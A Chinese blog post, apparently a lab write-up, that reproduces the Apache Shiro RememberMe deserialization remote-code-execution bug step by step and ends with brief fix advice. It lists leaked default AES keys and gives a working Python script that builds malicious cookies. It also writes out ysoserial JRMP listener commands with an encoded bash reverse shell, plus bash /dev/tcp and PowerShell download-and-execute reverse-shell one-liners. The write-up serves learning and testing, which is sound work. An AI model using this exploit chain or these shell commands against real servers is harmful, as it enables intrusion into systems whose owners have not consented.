Apache Shiro Java反序列化漏洞复现

漏洞简介

Apache Shiro是一个Java安全框架,执行身份验证、授权、密码和会话管理。2016年网络中曝光 Apache Shiro 1.2.4 以前的版本存在反序列化漏洞,尽管该漏洞已经曝光几年,但是在实战中仍然比较实用。

影响版本

Apache Shiro <= 1.2.4

漏洞原理

Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的Cookie。Cookie 的 key 为 RememberMe,Cookie 的值是经过对相关信息进行序列化,然后使用AES加密,最后在使用 Base64 编码处理形成的。

在服务端接收 Cookie值时,按照如下步骤来解析处理:

  1. 检索RememberMe cookie 的值;
  2. Base 64解码;
  3. 使用AES解密(加密密钥硬编码);
  4. 进行反序列化操作(未作过滤处理)。

在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。

【总结】Apache Shiro默认使用了CookieRememberMeManager,其处理Cookie的流程是:得到 rememberMe 的 Cookie值 > Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

漏洞利用条件

由于使用来 AES 加密,要想成功利用漏洞则需要获取 AES 的加密密钥,而在shiro的 1.2.4 之前版本中使用的是硬编码。其默认密钥的base64编码后的值为 kPH+bIxk5D2deZiIxcaaaA==。这里就可以通过构造恶意的序列化对象进行编码,加密,然后作为cookie加密发送,服务端接收后会解密并触发反序列化漏洞。

尽管目前已经更新了许多版本,官方并没有反序列化漏洞本身解决,而是通过去掉硬编码的密钥,使其每次生成一个密钥来解决该漏洞。但是开发人员在开发过程中部分代码直接使用了网上的一些开源的项目代码,可导致密钥泄露,这里我们可以通过搜索引擎、github等来收集密钥,提高漏洞检测与利用的成功率。目前网上收集到的密钥(poc中会提到在如何使用它们):

kPH+bIxk5D2deZiIxcaaaA==
wGiHplamyXlVB11UXWol8g==
2AvVhdsgUs0FSA3SDFAdag==
4AvVhmFLUs0KTA3Kprsdag==
fCq+/xW488hMTCD+cmJ3aQ==
3AvVhmFLUs0KTA3Kprsdag==
1QWLxg+NYmxraMoxAXu/Iw==
ZUdsaGJuSmxibVI2ZHc9PQ==
Z3VucwAAAAAAAAAAAAAAAA==
U3ByaW5nQmxhZGUAAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==

所以实际上该漏洞与 shiro 版本无关,无论是否升级 shiro 到 1.2.5及以上, 如果 shiro 的 rememberMe 功能的 AES密钥被泄露,,就会导致反序列化漏洞。

漏洞复现

环境搭建

使用docker快速搭建漏洞环境:

1、拉取镜像
docker pull medicean/vulapps:s_shiro_1
2、启动环境
docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1

本人使用VMware Ubuntu虚拟机搭建以上环境:

在这里插入图片描述

环境启动后,本地物理机浏览器可成功访问:

在这里插入图片描述

访问登录页面:

在这里插入图片描述
输入账户密码进行登录,抓包发现响应包包含 Set-Cookie: rememberMe=deleteMe 字段,基本判定该系统使用 Shiro 框架:

在这里插入图片描述在这里插入图片描述

工具准备

1、在Kali攻击机下载生成Java序列化数据的工具 ysoserial(下载地址):
在这里插入图片描述
下载后的文件如下:
在这里插入图片描述2、接着在以上文件夹路径下打开终端,执行命令mvn package -D skipTests,生成 ysoserial-0.0.6-SNAPSHOT-all.jar 文件:
在这里插入图片描述如果上述过程出现报错 bash: mvn: command not found 的问题,是因为kali未安装maven,执行 sudo apt-get install maven 即可。

漏洞利用

1、制作反弹shell 代码

使用Bash来反弹shell时由于Runtime.getRuntime().exec()中不能使用管道符等Bash需要的方法,故需要进行一次编码(编码工具地址):bash -i >& /dev/tcp Kali攻击机IP/9001 0>&1

在这里插入图片描述

2、使用ysoserial中JRMP监听模块,监听5577端口

在kali攻击机中执行以下命令:

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 5577 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjEzMy85MDAxIDA+JjE=}|{base64,-d}|{bash,-i}'

如下图所示;

在这里插入图片描述

3、Kali攻击机开始监听反弹端口 9001:

在这里插入图片描述

4、使用 poc.py 生成payload:

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):    
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)    
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()  
    #这里密钥key是已知的,在shiro官网上有,可根据不同系统替换密钥
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") 
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)    
    file_body = pad(popen.stdout.read())    
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))    
    return base64_ciphertext
    
if __name__ == '__main__':   
    payload = encode_rememberme(sys.argv[1])    
    print "rememberMe={0}".format(payload.decode())

在 kali 攻击机 ysoserial-0.0.6-SNAPSHOT-all.jar 文件所在的目录下中执行python poc.py 192.168.43.133:5577,得到 Payload rememberMe:

在这里插入图片描述

5、利用POC进行攻击:

登录存在漏洞的系统,抓取登录后的任意数据包:

在这里插入图片描述在这里插入图片描述

使用上述 Payload 替换到 cookie 中的 rememberme 参数(同时删除JSESSIONID参数),然后发送数据包:

在这里插入图片描述

此时可以看到 kali 攻击机中已成功反弹 Shell:

在这里插入图片描述

【踩坑小结】复现过程折腾了一整天才成功反弹Shell……百度搜索一堆资料均无果,在准备放弃之时,抱着试一试的心态改变了 Kali nc 监听的端口号,结果竟然就成功了……读者如果也遇到 Shell 反弹不成功的情况,请更换 nc 监听端口试一下。

DNS回显

以上使用反弹 Shell 来证明 Shiro 反序列化漏洞导致的RCE,在实际的测试中, 最好先使用 ping 命令用来检测漏洞是否存在,因为复杂的命令可能因为各种原因执行失败,影响判断。

1、这里用DNS解析记录来做判断, 在http://www.dnslog.cn/上获取子域:9thti0.dnslog.cn:

在这里插入图片描述
2、使用反序列化利用工具来监听5007端口:

在这里插入图片描述

3、使用 poc.py 生成payload:

在这里插入图片描述
4、将生成的payload复制到请求包cookie的位置,发包:

在这里插入图片描述
此时可以在 Kali 攻击机对应的监听端口出看到有流量出来,我们去平台查询ping命令是否执行成功:

在这里插入图片描述
刷新记录,发现ping命令成功执行:

在这里插入图片描述
至此,足以证明反序列化漏洞存在。

检测工具

以上检测过程相对繁琐,复现一遍只是为了理解下 Shiro 反序列漏洞的利用过程。实际测试过程中可以直接使用大佬们贡献的 Shiro 反序列化漏洞一键检测工具 ShiroExploit,Github工具下载地址

下载后运行jar文件如下,直接输入目标地址进行检测:

在这里插入图片描述在这里插入图片描述

可以看到,Trying Key 然后 Find Valid key,相信从字面意思也看出来了,找到了这个硬编码的key,此时代表反序列化漏洞存在(升级到 Shiro 1.2.6 则会输出:Can not find a valid key):

在这里插入图片描述
此时可以直接一键反弹 Shell:

在这里插入图片描述

修复建议

主要的修复方案:

  1. 升级shiro到1.2.5及以上;
  2. 如果在配置里配置了密钥,那么请一定不要使用网上的密钥, 一定不要! ! 请自己base64一个AES的密钥,或者利用官方提供的方法生成密钥:org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()。

最后总结一下漏洞复现过程中的坑点吧:

1、测试时,首先需要对网站基本信息有一个收集,要知道它是什么系统, Linux 与 Windows 反弹 Shell 的命令不同,Linux(需要编码处理): bash -i >& /dev/tcp/127.0.0.1/8888 0>&1,windwos(不需要编码处理):

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 127.0.0.1 -port 8888

2、响应包中如果出现 rememberMe=deleteMe,可以用来大概判断是否使用了Shiro框架;

3、关于反弹shell命令, 如果不编码会命令执行失败。本人在网上阅读大佬们写的相关文章后,理解了一点,简单说就是反弹shell的命令中包含一些特殊的符号,在进行反序列化的时候会导致命令无法正常解析, 反正编码就完事了;

4、测试时, 最好先使用ping命令用来检测漏洞是否存在, 因为复杂的命令可能因为各种原因执行失败, 影响判断;

5、关于利用模块的选择,最开始在docker上复现时, 我使用的是CommonsCollections4,都能成功,但到了实际环境中, 反弹shell一直执行不成功,此时可试下 CommonsCollections3、CommonsCollections5;

6、复现过程折腾了一整天才成功反弹Shell……百度搜索一堆资料均无果,在准备放弃之时,抱着试一试的心态改变了 Kali nc 监听的端口号,结果竟然就成功了……读者如果也遇到 Shell 反弹不成功的情况,请更换 nc 监听端口试一下。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Tr0e

分享不易,望多鼓励~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值